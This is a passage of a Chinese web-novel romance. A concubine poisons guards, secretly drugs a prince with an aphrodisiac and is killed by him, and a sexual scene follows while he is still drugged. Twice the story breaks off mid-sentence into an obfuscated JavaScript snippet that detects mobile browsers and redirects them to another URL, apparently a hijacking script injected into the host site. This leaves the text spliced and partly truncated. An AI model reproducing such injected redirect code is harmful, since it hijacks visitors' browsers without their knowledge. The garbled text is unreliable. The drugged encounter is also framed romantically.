不过这次她是有备而来的。 她笑眯眯地掏出了几张银票,悄悄地塞进侍卫的手里,娇滴滴道:“侍卫大哥,您就通融一下嘛~” 就这些银票还是她在泉州城典当首饰换来的,她满打满算只揣了两件首饰出来,原本打算戴到王爷跟前让王爷眼前一亮,结果她到现在连王爷面都没见上就得先折一件。 而且她那根簪子是老王爷专门给她定做的,明明价值千金,结果在那个破泉州里却只当了这么点! “哟!”那个侍卫拿起银票数了数,一百两,真的不少了。 只是两个侍卫对视了一眼,继而哈哈大笑。 在陈姨娘不解的目光中,把银票塞回到她手里:“荷莲妹妹,真不是哥哥们不通融,你想拿这一百两买我们哥俩的命,这事哥哥们可真做不来啊。” 闻言,陈姨娘肺都气炸了:“你们真的不通融?” 两个侍卫摇了摇头。 “等着瞧!”陈姨娘撂下一句狠话,转过身便要离开。 “哎等等。”两个侍卫连忙拦住她,同时看向她手里的食盒,笑嘻嘻道,“荷莲妹妹,你看你今个午膳又没送出去,扔了也怪可惜的,不如交给哥哥们,说不定哥哥们还能在王爷跟前替你说说好话?” “给给给!”陈姨娘不耐地把食盒扔过去,一个侍卫抬手一接,不偏不倚刚好接到手。 待到陈姨娘离开后,侍卫冲着她的背影冷笑了一声,一个丫鬟性子还这么刁蛮,别说想当王爷的通房了,给王爷提鞋都不配! 不过嘛,这荷莲做的饭菜是真好吃,比起军粮好了不知道多少倍,这些日子以来,王爷没享到的福全让他们哥几个享用了。 另一个侍卫催促他赶紧打开食盒:“快点快点,看看这小丫头片子今个做了什么好吃的!” 侍卫打开一看,嚯,鱼香肉丝、宫保鸡丁再加上酸菜鱼,三道菜底下还有一汤。 他们军队驻扎在城外十里的地方,虽然偶有行商往来会卖瓜果生鲜,那价格也是贵上天了,这荷莲可真是下了血本了。 这么好的菜,闻着都流口水,啧啧啧,王爷没这口服,可真是便宜了他们咯。 两个侍卫笑着狼吞虎咽了起来。 待到把这三菜一汤扫荡干净,他们收好食盒,这时,两个侍卫忽地感到腹部一阵疼,胃里翻江倒海。 “嘶......这怎么回事,这菜有问题!”一个侍卫捂着肚子道。 “之前荷莲送来的菜都没问题,大概是今个碰见了黑心商人,卖给了那丫头片子不新鲜的菜!”另一个侍卫疼得冷汗直冒。 “不行了不行了!”侍卫撂下一句话便慌忙往远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593958|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的树林里跑去,“你先在这守着,我先去方便一下!” “哎你等等!”另一个侍卫眼见着他居然先跑了,同时自己肚子也疼得难受,感觉要憋不住了,连忙追上他一起去了树林,“我也不行了,要去一起去!” 等到两个侍卫都跑远了,陈姨娘才从暗处走了出来,双手环胸冷哼了一声。 真当她的便宜是那么好占的? 她又不傻,之前白送了那么多饭菜,为的就是今天。 这般想着,陈姨娘先是左右环顾四周,见没人注意到这里后,欢天喜地猫着腰进了萧怀琳的军帐。 王爷的军帐是什么样的?太令人好奇了。 待她进了军帐之后,只见最中心的四方大桌上敞开着一张舆图,上面做足了无数的标记,一张八仙桌摆放在屏风前,桌上的茶壶里的奶茶尚未冷却,而在角落的木架上,挂着萧怀琳常穿那身的银恺。 陈姨娘看着萧怀琳那身熠熠发光的银恺,心里已经开始浮想联翩,遥想王爷那高大挺拔的身姿,还有那张明月清风般的俊脸,骑在马上征战时的模样定然十分得神武不凡。 可怜那个老女人肯定没见过王爷摘下面具时的模样吧,要知道王爷面相堪称绝世容颜,容貌丝毫不输美丽的女子,得此郎君,夫复何求呢? 等等,不行不行,陈姨娘匆忙回过神,现在不是想这些的时候,她还有正事要办。 她蹑手蹑脚地来到屏风后面,只见一席软榻摆放在支撑着帐篷的木柱边,而在软榻前,一张案台上面摆放着数张白纸还有笔墨一干等物。 陈姨娘不由得暗自惊讶了一番,王爷的生活还真是节俭,她以前随老王爷去过城外的营帐,那时老王爷军帐里的家具各式各样的都有,什么玉桌金椅,极尽奢侈,甚至比王府里还要奢华上几分。 这般想着,陈姨娘从怀里掏出一个绣着五彩鸳鸯的香囊,又来到王爷的衣柜前,从衣柜的熏香里顺出一点香料来放进香囊里。 她知道,王爷似乎很偏爱这种香味,这些年来用的一直是同一种香料,从未变过。 只是这个香味她研究了很久,却一直仿不出同样的气味,想来是王爷用了某种独门香料吧。 想到此,陈姨娘又顺出一点香料来,用自己的帕子包好,等她回去定要把这香味琢磨出来。 最后陈姨娘将那个鸳鸯香囊放到萧怀琳的案台上,迅速离开了军帐。 午膳时分过后,苏若琳从祝贤盛的军账里回到自己的军帐。 今日中午她本来是想着和萧怀琳一起用膳的,奈何听将士们说萧怀琳和几个亲信们单独商谈着什么大事,她不好去打扰,于是干脆去找了老爷子和乖儿子们。 等她悠哉游哉地回到自己的军帐里是,陈姨娘正坐在椅子上哼着小曲,看起来格外惬意。 苏若琳挑眉:“怎么,今日心情不错?” “那是。”陈姨娘昂着头,用鼻孔对着苏若琳。 苏若琳轻笑了一声,懒得和这丫头片子斗嘴。 只是视线忽地一转,落到了陈姨娘腰间系着的香囊上。 那香囊用蓝色锦缎制成,上面绣着水纹荷叶、以及被荷叶簇拥着的一对鸳鸯,两只鸳鸯互相依偎,好不亲密。 苏若琳秀眉一挑:“哟,出来这么久,可从来没见过你戴什么香囊啊,这从哪弄的?” 104. 你不是若琳 陈姨娘睥睨了苏若琳一眼,而后高傲地仰起头,用鼻孔对着苏若琳。 “那是自然。” “哦……”苏若琳悠悠地点评了一句,“你的鼻孔还挺大的。” “你!”陈姨娘连忙放下头,愤恨地瞪了她一眼。 苏若琳嗤笑了一声,在她旁边的椅子上坐下。 “给我倒杯水。” 眼见着陈姨娘心有不甘却又无可奈何地起身给她倒水,苏若琳不禁眯了眯眼。 这小丫头片子今儿个不对劲啊,从前她可从来没敢把情绪都摆在脸上,今日有谁给了她底气么? 事出反常必有妖,说不定就是这小丫头片子作的妖。 今日萧怀琳一直在忙,午膳时听老爷子和纨玦纨枫的话里,恐怕军营里有了什么情况,不止萧怀琳,今日一整日他们都挺忙的。 只是这些忙显然和苏若琳无关,甚至可以说他们越忙,没空搭理她,她反而就越闲,就比如现在。 所以左右她闲着也是闲着,正好看看这小丫头片子在整什么幺蛾子。 只是,苏若琳盯了陈姨娘大半日,也没盯出个什么所以然来,直到了大半夜,她几乎都要认命去睡觉的时候,这小丫头片子终于出动了。 是夜,野外的风吹过茫茫草地,摇曳着四周燃气的篝火。 苏若琳将油灯的火苗调暗了几分,便见到搬着小板凳坐在门口,一直发愣出神的陈姨娘忽地站起身朝外走去。 “你要去哪?”苏若琳喊住她。 “去茅房。”陈姨娘白了她一眼,没好气道。 苏若琳轻笑一声:“早去早回。” 望着陈姨娘扬长而去的背影,苏若琳将头上的步摇和耳垂上的耳铛,以及所有走起路来能叮当乱响的首饰全都摘了下来,悄声跟了上去。 虽然说是去茅房,可是在这荒郊野外的哪里有这个条件?因此陈姨娘说的茅房,不过是军营外几百米处的一片小树林罢了。 只是待到陈姨娘出了军帐之后,却并未往小树林的方向走,反而朝着相反的方向,更往军营的中心走去。 处于营地最中心的是萧怀琳的军帐。 萧怀琳身为萧军的统帅,军帐自然是处于最中心最重要的位置,其次紧挨着他附近住着的,便是苏若琳、老爷子以及纨枫这三个不善力战却又十分重要之人。 再往外住着的便是诸位将军,品阶由高至低往外延伸,守在军营最外围的自然是普通士兵们的军帐。 而现下陈姨娘走了两步便来到了萧怀琳的军帐边上。 只见她在军帐外边不远处停了下来,继而开始左顾右盼。 苏若琳见状连忙找了一个角落藏了起来,所幸陈姨娘并没有发现她,她拍了拍胸口松了口气。 这小丫头片子察觉到有人在跟她? 只是下一刻,陈姨娘的动作便否定了这个猜想,因为陈姨娘当着她面,也找了一个角落藏了起来。 苏若琳:??? 这小丫头片子干嘛呢?自己藏起来是在跟踪她,那她藏起来难不成也是在跟踪别人? 只见陈姨娘在苏若琳的眼皮子底下探出头,一动不动地看着萧怀琳军帐的方向。 于是,她盯着陈姨娘,陈姨娘又盯着军帐,各自在角落里盯了许久,盯到她都要睡着的时候,对方终于动了。 随后她便隐约听到了一阵稳健有力的脚步声,自安静的夜色中响起。 原来是萧怀琳回来了。 见到王爷归来,守在帐前的侍卫行礼道:“见过王爷。” 萧怀琳微微颔首,刚要进帐,却又突然想到了什么,他转过身问向身后的青芙:“你去看看若琳睡了没有。” 闻言,角落里的苏若琳心头一暖,这小子还挺关心他的嘛。 而在另一个角落里,陈姨娘气得牙痒痒。 这个老女人到底哪里好了,能让王爷这么挂念她! 随着青芙的离去,萧怀琳也走进帐内,点燃桌上的油灯,原本黑漆漆的军帐登时变得明亮起来。 明晃晃的灯光映出了萧怀琳疲惫的面孔,他伸了一个懒腰,强迫自己精神起来。 西边传来消息,那些被突厥占领的不少城池内,有官员和百姓自发建立七反抗的队伍,希望在城池内和萧军串通合作。 众所周知突厥人残忍嗜杀,在那些被占领的城池里,突厥士兵更是强抢豪夺、欺辱民女,无恶不作。 被奴役的百姓们早已苦不堪言,兔子急了也会咬人,如今他们又听闻自己正带兵往西收复失地,于是那些不甘受辱官员和百姓一合计,干脆团结起来反抗,这样还能给萧军传递消息,届时里应外合。 这于萧军而言自然是极大的好事,为此他们临时调整了战略,从稳扎稳打变为激进行军,打那些突厥一个措手不及,早日收复失地,早日班师回朝。 其实就萧怀琳个人而言,他私心里是希望战争能够持久些,这样也能多一些和心上人单独相处的时日。 凯旋归朝得越早,他就必须越早向心上人坦白他的身份。 老实说,他真的很享受现在和若琳的相处,如今他们之间全然没有多么复杂的关系,只是一对普通的有情人。 他只是一个有权有势、能保护好心上人的统帅,而他的若琳对他也是真心的喜欢。 他能从心上人的眼眸中看到,那是发自真心的感情,不掺杂任何其他的东西。 他真的很享受,享受和心上人相处的岁月,享受心上人眼中的缱绻。 只是越享受当下,萧怀琳也就越担心将来。 担心如果哪日他向心上人坦白了一切,他的若琳会为此拒绝他,躲着他,和他一刀两断。 ...... 在他心里的某个阴暗角落,一个充满蛊惑的声音告诉他,一直逃避就好了,就让这场仗多打些时日又何妨? 可是另一个声音又告诉他,在那些被占领的城池里,无数的百姓正在受苦受难,每时每刻都有人在流血牺牲,即便他自己等得起,那些身处于水深火热中的子民也等不起。 萧怀琳叹了口气,将杯中茶水一饮而尽,强迫自己冷静下来。 担心是没有用的,和他的心上人坦然面对是早晚的事情,依着若琳的性子,也决计不能忍受一直被他蒙在鼓里。 这般想着,萧怀琳抽出了几张纸,开始提笔给西边的义军写信。 自今日后,大抵整个萧军都得忙起来了。 毛笔缓缓抬起至半空,尚未落下,萧怀琳忽得感觉自己体内燃起一股燥热的感觉。 一股饥渴难耐、想要对外发泄的冲动。 他猛地看向杯中水,迅速意识到,这水里有问题。 但同时,他的脑中却不由自主地想到了心上人的脸,想到了他和他的若琳在一起时各种亲密的举动,想到了那日若琳被他拥入怀中,和他深情地接吻...... “啪——”的一声响起,案台上的茶具被萧怀琳扫落到了地上,应声碎裂。 一股剧烈的难受感席卷着他的全身,如同烈火一般侵蚀着他的身体和神经,他跌跌撞撞地站起身,身体不受控制地往帐外走去。 他好想,好想,好想见他的若琳...... 而与此同时,听到萧怀琳的军帐内响起了瓷器碎裂的声音,陈姨娘当即从角落里走出来,朝着萧怀琳的军帐走去。 守在帐前的侍卫随即伸出手把她拦了下来:“干什么呢!” 陈姨娘笑嘻嘻道:“侍卫哥哥,我这里有样东西不似凡物,要上交给王爷。” “什么东西?”两个侍卫盯着她。 陈姨娘说着拿出一个好似是石头一样的东西,待到两个侍卫凑近后,她立即捏爆了那块“石头”,同时另一只手迅速捏住自己的鼻子,屏住呼吸。 那两个侍卫顿时意识到上当了,刚要有所动作,下一刻就晕倒在地,失去了意识。 陈姨娘连忙跑到远处,迎着风大口呼吸了几口新鲜空气,这才迈步往萧怀琳的军帐里走去。 这包迷药也是老王爷生前留下的,据说效果极强,药效之强烈丝毫不输那包春药,今日一看,果然如此。 只是可惜老王爷也就只给她留下了这两包药,一包春药一包迷药,她这些年来一直没舍得用,把这两包药当做最后的底牌,结果今天居然一次性全用上了。 不过没关系,只要能得到王爷,区区两包药算什么。 陈姨娘刚一走进军帐,便见到萧怀琳跌跌撞撞地从屏风后面走了出来。 只见眼前的人儿面色潮红,身上的衣襟已然被扯乱,鬓角落下的几缕发丝早已沾湿,胸口剧烈起伏着,死死地咬着下唇,勉强扶着桌子才没有让自己摔倒。 少年郎平日里的温润和煦不复存在,取而代之的却是一股诱人的风流。 诱人到,陈姨娘能感觉到自己的心在剧烈跳动,王,王爷这幅样子真的是…… 太美了。 她惯来不爱用“美”这个字来形容男子,认为这应当是女子才有的气质,可是如今见到王 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尽管只有一丝,但他还是伸出手紧紧握住了对方的素手,像是大旱中即将渴死的人尝到了一滴甘露,绝望中的人握住了一线曙光。 萧怀琳的喉结动了动,他咽了口唾沫,看向陈姨娘的目光逐渐从迷茫变为混沌的渴望。 “你......” “王爷。”陈姨娘语气娇媚,又带着几分的迫不及待,说着便牵起萧怀琳的手,拉着他往屏风后面走去。 瞧见王爷这副模样,她只觉得自己比吃了春药还要兴奋,实在是迫不及待了。 然而萧怀琳却猛得停下脚步:“不,不行!” 他猛地甩开陈姨娘的手:“你不是若琳,别碰我!” 陈姨娘见自己的手居然被甩开了,当场惊愕地愣在原地。 这春药有多烈她一清二楚,药效发作以后不要说能摧毁人的意志,哪怕是意识都会变得模糊,一包下去连佛祖都能沉沦。 可是王爷居然...... 苏若琳! 陈姨娘嫉妒得面容扭曲,又是这个老女人,她到底给王爷灌了什么迷魂汤! 眼见着萧怀琳甩开自己后,磕磕绊绊地又要往帐外走去,陈姨娘连忙拉住他。 “你等等!” 她努力学着苏若琳平时说话的语气:“是我啊,怀琳,我是苏若琳。” “......若琳?”萧怀琳眼中短暂的澄明再次消失,取而代之的是无尽的渴求,“若琳,若琳,......” “对,我是若琳。” 陈姨娘在心里恨得肠子都青了,然而面上却偏偏还得模仿她最讨厌的人的模样,柔声道:“怀琳,我知道你难受,你跟我来,我帮你。” 闻言,萧怀琳登时变得乖巧,任由陈姨娘牵起他的手,带着他往屏风后面走去。 只是刚走到屏风旁,萧怀琳却又停下了脚步:“不,不,不可以……” 萧怀琳的眼眸中浮现出了一丝痛苦的挣扎。 “为什么不可以?”陈姨娘瞪大眼睛惊奇道,怎么那个老女人都不可以,她甚至开始怀疑王爷是不是不举了! 她楚楚动人地看着萧怀琳:“怎么不可以,我是若琳啊,你好好看看我!” 然而面前人却是痛苦地捂着头,难受的感觉和渴望的冲动交织在一起,竟然令面前铁骨铮铮的男儿哭出了声:“不,不可以,母亲,不可以……” 母,母亲? 陈姨娘彻底傻眼了,在这种情况下王爷竟然还能想到自己的母亲! 只是萧怀琳这般能忍,陈姨娘却是等不及了。 “不要想母亲了,怀琳你看看我,我是你喜欢的人啊。” 她说着就伸出手去扯萧怀琳的衣襟,末了又去摘他的面具:“你快跟我进来,不进来也行,咱们就在外面也可以。” 谁料她的手还未碰的面具,便被萧怀琳骨节分明的大手抓住,而后者的目光也从混沌骤然变得凶狠:“你不是若琳!” “找死!” 几乎是在刹那间,萧怀琳抽出木衣架上的佩剑,刺进了陈姨娘的胸口。 待到那佩剑从她的胸口抽出后,陈姨娘才后知后觉地瞪大眼睛,意识到王爷竟然杀了她。 她低下头看着自己的胸口不断往外喷血,而后缓缓倒在了地上。 直到断气的那一刻,她都没能想明白,王爷到底是怎么从这烈药中挣扎出来的。 而此时苏若琳刚一走进军帐,看到的便是这副情形。 105. 乌云蒙月 “......怀琳?”苏若琳迟疑地喊了一声。 但见往日里温润如玉的翩翩少年郎此刻眼中凶光毕露,原本白皙的脸颊如今却透着异样的红,面前人衣襟散乱,堪堪露出胸前那包扎着伤口的细麻布,与细麻上被浸透的血迹,触目惊心。 与此同时,面前人的胸口剧烈起伏着,大口地喘着粗气,散落的发丝早已汗湿拈在了一起,握住剑的手不住地颤抖。 而在他身旁的地上,赫然倒着陈姨娘死不瞑目的尸体。 见到军帐内又有人进来,萧怀琳缓缓扭过头,原本凶狠但澄明的目光再次变得混沌不堪:“......若琳?” 然而此时此刻在苏若琳的眼里,萧怀琳眼中的异样和身旁倒在地上的尸体已经完全被忽略了,唯一在意的,只有萧怀琳胸前那浸透的血迹。 “你的伤口裂开了!” 这句话落入神志不甚清晰的萧怀琳耳中,反倒像是某种印证,如同真相终于盖棺定论一般,敲击在萧怀琳滚烫的心上,也敲碎了他最后的隐忍。 是了,这次是一定他的若琳...... 苏若琳只觉得自己眼前一花,下一刻原本站在屏风前的萧怀琳已然出现在了她的眼前,一只手环过她纤细的腰肢将她一把拥入怀中,另一只手随即托起了她的下巴,低下头,用那仿佛浸了血一般红透的唇吻住了她。 登时,一股柔软但滚烫的感觉自苏若琳的唇间蔓延到了她的全身,随后,对方迅速伸出舌头,撬开她的贝齿,深入她的口中,然后猛烈地吮吸着。 动作凶狠而又迅猛,全然不似从前的温柔,反而像是一只饥渴无比的野兽。 “唔......”苏若琳下意识想要挣扎抗拒,然而面前人的手臂强悍有力,她越是挣扎,便被对方拥得越紧,越来越紧,紧到仿佛想要和她融为一体。 这下苏若琳终于有些慌了,面前人的情况显然不对劲,她睁开眼看着萧怀琳,但见对方面色潮红,那托起她下巴的手、环住她腰肢的手臂、乃至于和她紧贴的全身都在发烫,甚至滚烫中还带着一丝颤抖。 就连那副原本时刻散发着寒意的银色面具此刻都被染上了一丝绯红,而在那银色面具下,一双眼尾泛红的秀丽凤目再不似从前那般澄明,反而闪烁着浓烈的渴望。 苏若琳不由得想到了不远处已经变成一具尸体的陈姨娘,想起了白日里陈姨娘那副得意的神色,心里的疑云在顷刻间散开。 陈姨娘......给萧怀琳下了春药?! 而她才刚意识到真相,面前人已经托起她的翘臀,将她放到了身旁的八仙桌上,随后对方滚烫的舌头和唇瓣离开她的唇齿,那湿润而又炽热的吻逐渐向下,剧烈且凶狠地在那她细嫩的脖颈间留下一道又一道吻痕。 面前人的模样太过凶狠,与从前完全判若两人,即便知晓了面前人并非本意,可苏若琳还是被吓到了。 “怀琳,怀琳......”苏若琳的声音多了一丝颤抖,她伸出手抚上对方的脸颊,试图唤回对方的神志,“你醒醒,怀琳,别这样......” 面前人动作微顿,眼中闪过一丝挣扎,但随后却再次变得混沌而渴望。 感受着面前人剧烈的亲吻再次向下,从脖颈来到了她的锁骨,随后面前人伸出骨节分明的大手,开始撕扯她的衣带。 “别......” 布料碎裂的声音响起,苏若琳只觉得自己双肩一凉,那件藕荷色的衣裙在萧怀琳的手里赫然变成了一堆碎布片。 她能清晰地感受到,喷在她细嫩脖颈间的鼻息变得愈加粗重,那滚烫的气息是如此的炽热,几乎要将她全身融化。 一股战栗感蔓延至苏若琳的全身,她的眼角浮现出一抹泪水,声音颤抖道:“不要.....” “至少,别在这里......” 面前人的动作猛地一顿,萧怀琳抬起头,混沌的眼中闪过一丝破碎的清明:“好。” 随后他便单臂抱起苏若琳,带着她来到了屏风后面,将她缓缓放到软榻上,然后欺身压在了她的娇躯之上。 萧怀琳全身滚烫,坚硬的肌肉隔着他半敞开的衣襟和她紧贴着,健硕的双臂将她牢牢地禁锢在身下,仿佛已经迫不及待要将身下的猎物吞入腹中。 苏若琳在心里不断地告诫自己冷静下来,然而对方狠厉逼人的气势还是令她不由自主地浑身战栗。 随后,意识混沌的凶兽仿佛察觉到了身下的人儿在颤抖,萧怀琳停下了动作。 他看着苏若琳,那一双泛红的凤目在呼吸之间顷刻万变,时而凶狠,时而闪烁着强烈的渴望,时而闪过一丝痛苦的挣扎,最后这所有的情绪交织在一起,融为一体,化作了……乞求。 明明是居高临下地看着她,然而目光中却填满了乞求。 “若琳......” 面前人的声音哽咽,竟还带着一丝委屈,那副压在自己身上的滚烫身体正努力地克制着本能的欲望,克制到不住地颤抖。 而感受到了面前人颤抖的身躯,反倒是让苏若琳逐渐冷静了下来。 此时此刻压在她身上的,是救下了她性命的恩人,是从始至终都待她温柔如初的暧昧对象,是发烧时会渴求自己陪伴的少年郎,是...... 是她中意的心上人。 苏若琳深吸了一口气,重新看向面前死死地咬住下唇,神情难受而又痛苦的萧怀琳。 大不了就和他睡一觉吧,即便是抛开那些私情来讲,单看他这副俊俏的脸和健硕的身体,自己也是稳赚不赔的。 就是他的身上还有伤,如今伤口都已经裂开了,往外渗着血,若是再经历这么一折腾...... 她这般想着,伸出手主动去抚上萧怀琳的脸颊:“你身上还有伤,小心一些。” 顿了顿,又道:“我配合你。” 面前人的眼中本就因为难以自持的痛苦而闪着泪光,如今闻言更是全身一震,那泪珠终于顺着脸颊流淌了下来。 萧怀琳原本混沌的意识里只觉得自己在欲|火焚身,而面前娇软的身躯却像是一汪清泉,唯有贴近她,凑近她,和她融为一体,才能熄灭痛苦、换来安宁。 然而耳边响起的话语,却是仿佛一道惊雷击在了他的心间,将他浑身上下灼烫难耐的身体劈透了。 欲望与理智无时无刻地在他的心里撕扯挣扎,像是要把他撕裂开来。 晶莹的泪水在潮红的脸上留下了一道泪痕:“不,不行......” 他还没有向心上人坦白自己的身份,若是现在就做了,他的心上人一定会恨他的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627303|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏若琳一愣。 在这种情况下,被下了药,并且自己都妥协了的情况下,他竟然还能...... “没事的。”苏若琳的目光不禁变得柔和,她伸出手臂,去拥抱住萧怀琳滚烫的身体,“我不怪你。” “不......”萧怀琳呜咽着,“不,不可以,母亲......” 母亲? 闻言,苏若琳骤然瞪大双眼,萧怀琳这是什么意思? 为什么这种情况下他竟然能想到他的母亲? 萧怀琳的泪水滴落到了她的脸上,带着几分炽痛,仿佛要将她的肌肤灼伤。 可是下一刻,萧怀琳的眼中因痛苦而短暂刺激出的澄明再次变得混沌。 许是外边风大了,呼啸声透过帐子落入了两人的耳中,就连烛火都忽明忽暗了起来。 萧怀琳的眼眸中映着苏若琳那娇媚的面颊与满身的吻痕,目光随着烛光游移明灭。 “若琳......”他低喃着,沙哑的声音仿佛一道洪流,而在那暗流之下,隐藏着惊涛骇浪。 “没关系的。”苏若琳柔声道,她深吸了一口气,白葱般的手指缓缓抬起,点在了萧怀琳的胸口,然后顺着肌肉的纹路缓缓向下,小心翼翼地避开带着伤疤的地方。 她缓缓抬起头看向眼前人,只见对方面色潮红,咬紧的双唇红肿得仿佛一颗娇艳欲滴的草莓,满脸的隐忍与难受像是要溢出来一般。 苏若琳不禁咽了口唾沫,她现在必须得承认,看着面前人这般诱人的模样,她是真的动心了...... 心动之余,又有些怜爱。 而她这放肆的举动恰似一桶松油浇在了烈火之上,顷刻间大火燎原,终于燃尽了萧怀琳所有的理智。 下一刻,萧怀琳便低头去亲吻心上人柔软的娇躯,那一双粗糙而满是伤疤的大手上下求索着,撕扯掉所有该撕扯掉的和不该撕扯掉的,同时也解下了自己腰间的绦带。 忽得帐外狂风大作,顷刻间响起了雷鸣,再后来,乌云逐渐遮盖住了本就不甚明亮的月色,倾盆大雨砸了下来,雷雨轰鸣的响声恰好遮盖住了帐内的喘息。 青芙原本在苏若琳的军帐内没有找到人,后又围着军营找了整整一圈,不要说苏若琳没找到,连带着陈姨娘也消失了。 恰逢大雨忽得落下,她的心不禁揪得厉害,慌忙去找王爷复命。 而当她来到帐外的时候,赫然看到了两个侍卫晕倒在大雨中。 她瞪大眼睛,不由得冲着帐内喊了一声:“王爷!” 然而军帐内的烛火忽明忽暗,没有人回应,耳边传来的唯有大雨和雷鸣的声音。 青芙握紧拳头,明明就在方才不久,一切都还好好的,这不过片刻的时间里究竟发生了什么? 这一切显然是冲着王爷来的,那么如今王爷可还安好? 她甚至都不能保证王爷此刻是否在军帐内。 王爷的军帐...... 偌大的雨水冲刷到她的身上,也让她冷静到了极点,王爷现在情况不明,夫人下落未知,进了这军帐若是被王爷知道了自己可能会死,可若是不进,她根本无从知晓王爷的安危。 ...... 下一刻,青芙迈着坚定的步子走了进去,视死如归。 107. 温存 眼见着心上人动了气,萧怀琳匆匆披了件衣袍便去找药箱。 苏若琳原本也想披上自己的衣裙,她环顾四周,随后就在软榻边上找到了一件......破布。 可怜这件鹅黄亮绸裙在昨夜就被不远处那个寻找药箱的人生生撕扯成了布条,勉强还能留下一个全尸,恐怕都是行凶者手下留了情。 萧怀琳从柜子里拿出药箱,忽地感觉到脑后一阵劲风袭来,他转过身,一团鹅黄色的东西赫然朝着他的面门飞了过来。 他含笑着接过那团布条,而后在心上人羞怒的目光下提着药箱回到她身边。 “我去你的军帐里再拿一套来,好吗?” 苏若琳睥睨了他一眼,而后重重地叹了口气:“先给你把伤重新包扎好吧。” 萧怀琳轻笑着,温声道:“好。” 缠绕在他身上的层层白布被苏若琳缓缓揭开,一圈又一圈的红色血迹印在洁白的细麻上,触目惊心。 等到了最里面一层的时候,那一整块白色的细麻几乎都被鲜血染成了一张血布。 苏若琳小心翼翼地牵着细麻的一角,缓缓揭下。 然而因着昨晚伤口裂开,伤口的鲜血和凝结的疮痂早已和这层细麻粘在了一起,随着这块血布被扯下,黏连在一起的血肉也被重新撕开,鲜血不断地自伤口处溢出。 与此同时,萧怀琳原本绷紧的身体也疼得不住颤抖。 苏若琳连忙用干毛巾轻轻按在伤口边缘,将那些溢出的鲜血吸掉,待到一整块血布完全撕下来时,面前人已然鲜血淋漓。 苏若琳看着面前人几乎是血肉模糊的身体,只感觉自己的身前猛得一痛,仿佛也少了那么一层皮、一块肉。 她的心不禁也跟着抽搐了起来,眼睛渐渐得湿润了。 自己光是这么看着都觉得疼,那面前人又该有多疼? 而她面前的萧怀琳眼见着心上人眼眶泛红,竟有泪水在眼中打转,不由得伸出手抚上她白皙的脸颊,努力压下声音中因疼痛而产生的颤抖,柔声道:“不要哭,我没事的。” 苏若琳抬起头,见到面前人的脸色苍白得好似能和那副泛着寒光的银色面具相比,那原本有些红肿的唇瓣此刻竟然也泛着一丝苍白,明明都已经疼得全身颤抖,却还是对她露出了一个温和的笑意。 苏若琳的泪水再也止不住地自眼角滑落,哭着骂一句:“笨蛋!” 萧怀琳好脾气地替她擦掉脸上的泪痕,笑道:“我是笨蛋。” 然而对方这个模样却是令苏若琳更难过了。 她只觉得自己正涂抹金疮药的手竟也跟随着对方的身躯一起颤抖,那伤口的疼痛仿佛通过触碰着对方肌肤的指尖传到了自己的心上。 君疼一分,我亦心痛。 只是苏若琳这一抖,原本围在她身上就不甚紧的被子竟然渐渐开始滑落,然而此时她一手托着药盒,一手沾着药粉,竟然腾不出手来抓住那渐渐下滑的被子。 “萧怀琳!” 她连忙喊了一声面前人,想让对方帮自己抓住被子。 然而已经来不及了。 萧怀琳闻言低下头的瞬间,那被子自心上人的胸前滑落,登时露出了那满是吻痕和淤青红印的娇躯,好一幅春光满面。 他的大脑顿时失去了任何的思考,就连自伤口处传来的疼痛都被短暂地忘记了。 这,这…… 苏若琳眼见着面前人呆呆地看着自己毫无遮掩的身体,原本苍白的脸颊迅速变红,红得仿佛能滴出血来,就连身体都不颤抖了。 羞涩之余,苏若琳竟不由得笑出了声。 在北疆杀得十进十出,即将坐拥天下的宁安王也不过是一个青涩的少年啊。 她不由得低头又看向面前人身上触目惊心的伤口,遥想他曾经先前受了这么重的伤都能面不改色,然而却会因为见到女子的身体而脸红。 这反差实在是太可爱了。 或许是报复心作祟,或许是捣蛋心搞鬼,苏若琳竟然放弃了将被子重新拉回身上的想法,就这么让面前的少年郎看着自己雪白的娇躯,继续给他的伤口抹药。 让他好好看看他昨夜对自己所有所作所为的罪证。 恰逢此时微风吹来,吹拂过苏若琳裸露在空气中的娇躯,她下意识打了个哆嗦。 嘶……今日怎么这么冷。 见到心上人冷得发抖,呆愣住的萧怀琳这才堪堪回过神,涨红着脸将心上人身下滑落的被子拉起,披到心上人的肩膀上,然后在胸前合拢,遮住那满面春光。 身上陡然一暖,她的心也软得几近融化了。 “好了。”苏若琳轻轻道了一句,将手指上残存着的药粉抹在面前的人鼻子上,“转过身去。” 也不知道后背上的那道旧伤如何了。 萧怀琳伸出手抹掉鼻尖上的药粉,看着面前人恶作剧的眼神,原本又羞涩又呆的俊脸上这才浮现出一丝笑意。 “好。” 待他转过去的那一刻,原本担忧地盯着他身体的苏若琳略微松了口气。 后背的伤口比起胸前的那道要好很多,大抵因为是旧伤的缘故,疮痂结得厚实,历经昨夜激烈的动作之后也只是裂开了中间的那部分。 而中间那部分伤口原本已经在流脓了,现下再看竟然已经好了,当白布撕下的那一刻,溢出的只有一些红色的鲜血。 苏若琳很快将那部分伤处理好,随后扯开细麻布,手指环绕过面前人身体前后紧实的肌肉,将伤口重新包扎好。 做完这一切后,苏若琳抬起头看向面前人,却见到对方羞红的脸上,那一双秀丽的凤目正盯着自己红润的唇瓣,眼中满是渴望。 “若琳……” 他低唤了一句,声音沙哑。 